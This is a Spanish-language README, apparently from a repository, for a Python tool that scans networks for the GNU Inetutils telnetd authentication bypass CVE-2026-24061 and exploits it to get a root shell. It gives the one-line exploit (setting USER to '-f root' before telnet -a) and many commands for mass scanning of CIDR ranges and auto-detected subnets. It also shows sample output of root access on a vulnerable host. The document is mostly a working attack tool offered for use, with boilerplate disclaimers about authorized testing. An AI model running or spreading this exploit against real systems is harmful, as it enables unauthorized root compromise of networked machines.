
Python-based scanner que detecta y explota la omisión de autenticación de telnetd CVE-2026-24061, permitiendo acceso a una shell root en servicios GNU Inetutils vulnerables.
Un escáner basado en Python para detectar y explotar la vulnerabilidad CVE-2026-24061 en los servicios telnetd de GNU Inetutils. Esta herramienta escanea direcciones IP o redes en busca de servicios telnetd vulnerables que permiten el bypass de autenticación que conduce a acceso a shell root.
ESTE SOFTWARE SE PROPORCIONA ÚNICAMENTE CON FINES EDUCATIVOS Y DE PRUEBAS DE SEGURIDAD AUTORIZADAS.
Esta aplicación ha sido desarrollada únicamente con fines educativos para demostrar vulnerabilidades de seguridad y para ayudar en pruebas de seguridad e investigación autorizadas.
ESTE SOFTWARE SE PROPORCIONA "TAL CUAL", SIN GARANTÍA DE NINGÚN TIPO, EXPRESA O IMPLÍCITA, INCLUYENDO PERO NO LIMITADO A LAS GARANTÍAS DE COMERCIABILIDAD, IDONEIDAD PARA UN PROPÓSITO PARTICULAR Y NO INFRACCIÓN. LOS AUTORES Y COLABORADORES NO GARANTIZAN QUE EL SOFTWARE ESTÉ LIBRE DE ERRORES, SEA SEGURO O FUNCIONAL. El software puede contener errores, fallos u otros defectos.
TODA LA RESPONSABILIDAD Y OBLIGACIÓN POR EL USO DE ESTE SOFTWARE RECAE ENTERAMENTE EN EL USUARIO. Los autores, colaboradores y distribuidores de este software no serán considerados responsables por daños, pérdidas o consecuencias legales derivadas del uso, mal uso o la imposibilidad de usar este software.
Esta herramienta debe usarse ÚNICAMENTE en sistemas que usted posea o para los cuales tenga permiso escrito explícito para realizar pruebas. El acceso no autorizado a sistemas informáticos es ilegal y puede resultar en enjuiciamiento penal.
Los autores NO garantizan:
Al usar este software, usted reconoce que ha leído, comprendido y acepta quedar sujeto a estos términos. Si no está de acuerdo, no use este software.
Desarrollado por: Cuma KURT
Correo electrónico: [email protected]
LinkedIn: https://www.linkedin.com/in/cuma-kurt-34414917/
CVE-2026-24061: telnetd de GNU Inetutils hasta la versión 2.7 permite el bypass de autenticación remota mediante un valor -f root para la variable de entorno USER.
Puntuación CVSS: 9.8 (Crítica)
Referencia: NVD CVE-2026-24061
telnet (generalmente preinstalado en Linux/macOS)pip3 install -r requirements.txt
Nota: La mayoría de las dependencias forman parte de la biblioteca estándar de Python. La herramienta funciona directamente con Python 3.6+.
# Escanear una única dirección IP
python3 tscan.py 192.168.1.1
# Escanear una red CIDR
python3 tscan.py 192.168.1.0/24
# Escanear con puerto personalizado
python3 tscan.py -p 2323 192.168.1.1
# Escanear objetivos desde un archivo
python3 tscan.py targets.txt
# Escanear múltiples direcciones IP
python3 tscan.py 192.168.1.1 10.0.0.1 172.16.0.1
# Escanear múltiples redes CIDR
python3 tscan.py 192.168.1.0/24 10.0.0.0/16
# Aumentar el número de hilos para un escaneo más rápido (100 hilos)
python3 tscan.py -t 100 192.168.1.0/24
# Aumentar el tiempo de espera para redes lentas
python3 tscan.py --timeout 10 192.168.1.0/24
# Combinar ambos para escaneos de redes grandes
python3 tscan.py -t 200 --timeout 8 10.0.0.0/16
# Detectar y escanear automáticamente todas las subredes desde la tabla de enrutamiento del sistema
python3 tscan.py --auto
# o usar la forma abreviada:
python3 tscan.py -a
# Detección automática con puerto personalizado
python3 tscan.py --auto -p 2323
# o:
python3 tscan.py -a -p 2323
# Detección automática con alto número de hilos
python3 tscan.py --auto -t 200
# o:
python3 tscan.py -a -t 200
Nota: El modo --auto lee la tabla de enrutamiento del sistema usando el comando ip route list o route -n y escanea automáticamente todas las subredes detectadas.
# Ejemplo 1: Escaneo rápido de la red local
python3 tscan.py 192.168.1.0/24
# Ejemplo 2: Escaneo rápido con alta concurrencia
python3 tscan.py -t 300 --timeout 3 10.0.0.0/16
# Ejemplo 3: Escanear puerto telnet no estándar
python3 tscan.py -p 2323 192.168.1.0/24
# Ejemplo 4: Detectar y escanear automáticamente todas las subredes de la red local
python3 tscan.py --auto
# o:
python3 tscan.py -a
# Ejemplo 5: Detección automática con configuraciones personalizadas
python3 tscan.py --auto -p 2323 -t 100 --timeout 8
# o:
python3 tscan.py -a -p 2323 -t 100 --timeout 8
argumentos posicionales:
targets Dirección(es) IP, red(es) CIDR o ruta(s) de archivo que contienen objetivos
opciones:
-h, --help mostrar este mensaje de ayuda y salir
-p, --port PORT Puerto telnet a escanear (predeterminado: 23)
-t, --threads THREADS Número de hilos concurrentes (predeterminado: 50)
--timeout TIMEOUT Tiempo de espera de conexión en segundos (predeterminado: 5)
-v, --verbose Salida detallada
-a, --auto Detectar y escanear automáticamente todas las subredes desde la tabla de enrutamiento del sistema (route -n o ip route list)
Cree un archivo de texto con un objetivo por línea:
192.168.1.1
192.168.1.0/24
10.0.0.1
172.16.0.0/16
Las líneas que comienzan con # se tratan como comentarios y se ignoran.
La herramienta proporciona:
Progreso en Tiempo Real: Muestra los resultados a medida que se descubren
[!] - Host vulnerable[~] - Puerto abierto pero no vulnerableInforme Resumido: Incluye:
[*] Iniciando escaneo en 256 objetivo(s)...
[*] Puerto: 23, Hilos: 50, Tiempo de espera: 5s
[*] Progreso: [████████████████░░░░░░░░░░░░░░░░░░░░] 40.0% (102/256) | Abiertos: 2 | Vulnerables: 1
[!] 192.168.1.100:23 - VULNERABLE
[*] Progreso: [████████████████████████████████████] 100.0% (256/256) | Abiertos: 3 | Vulnerables: 1
[+] Escaneo completado: 256/256 objetivos escaneados
======================================================================
Resumen de Resultados del Escaneo
======================================================================
Servicios telnet encontrados: 3
Hosts vulnerables: 1
[!] HOSTS VULNERABLES:
● 192.168.1.100:23
Salida: uid=0(root) gid=0(root) groups=0(root)...
[~] Servicios telnet encontrados pero no vulnerables:
● 192.168.1.101:23
● 192.168.1.102:23
[*] Escaneo completado en 12.34 segundos
USER="-f root"telnet -aLa vulnerabilidad permite el bypass de autenticación estableciendo la variable de entorno USER en -f root:
USER="-f root" telnet -a IP_OBJETIVO [PUERTO]
Esto hace que telnetd interprete la variable USER como una bandera, omitiendo la autenticación y otorgando acceso root.
telnet esté instaladoip route list o route -nInstale el cliente telnet:
# Debian/Ubuntu
sudo apt-get install telnet
# CentOS/RHEL
sudo yum install telnet
# macOS
# Generalmente preinstalado
--timeout 10Esta herramienta está destinada a:
NO use esta herramienta para:
Este programa es software libre: puede redistribuirlo y/o modificarlo bajo los términos de la Licencia Pública General de GNU publicada por la Free Software Foundation, ya sea la versión 3 de la Licencia, o (a su elección) cualquier versión posterior.
Este programa se distribuye con la esperanza de que sea útil, pero SIN NINGUNA GARANTÍA; sin siquiera la garantía implícita de COMERCIABILIDAD o IDONEIDAD PARA UN PROPÓSITO PARTICULAR. Consulte la Licencia Pública General de GNU para más detalles.
Debería haber recibido una copia de la Licencia Pública General de GNU junto con este programa. Si no es así, consulte https://www.gnu.org/licenses/.
Consulte el archivo LICENSE para obtener el texto completo de la Licencia Pública General de GNU v3.0.
LOS AUTORES Y COLABORADORES NO SON RESPONSABLES DE NINGÚN MAL USO O DAÑO CAUSADO POR ESTA HERRAMIENTA.
Esta herramienta se proporciona ÚNICAMENTE CON FINES EDUCATIVOS Y DE PRUEBAS DE SEGURIDAD AUTORIZADAS.
ÚSELA BAJO SU PROPIO RIESGO. Toda la responsabilidad y obligación por el uso de este software recae enteramente en el usuario. Los autores no garantizan la precisión, seguridad o funcionalidad de este software. El software se proporciona "TAL CUAL" sin ninguna garantía de ningún tipo.
Esta aplicación ha sido desarrollada únicamente con fines educativos. Al usar este software, usted reconoce que:
Si no acepta estos términos, NO USE ESTE SOFTWARE.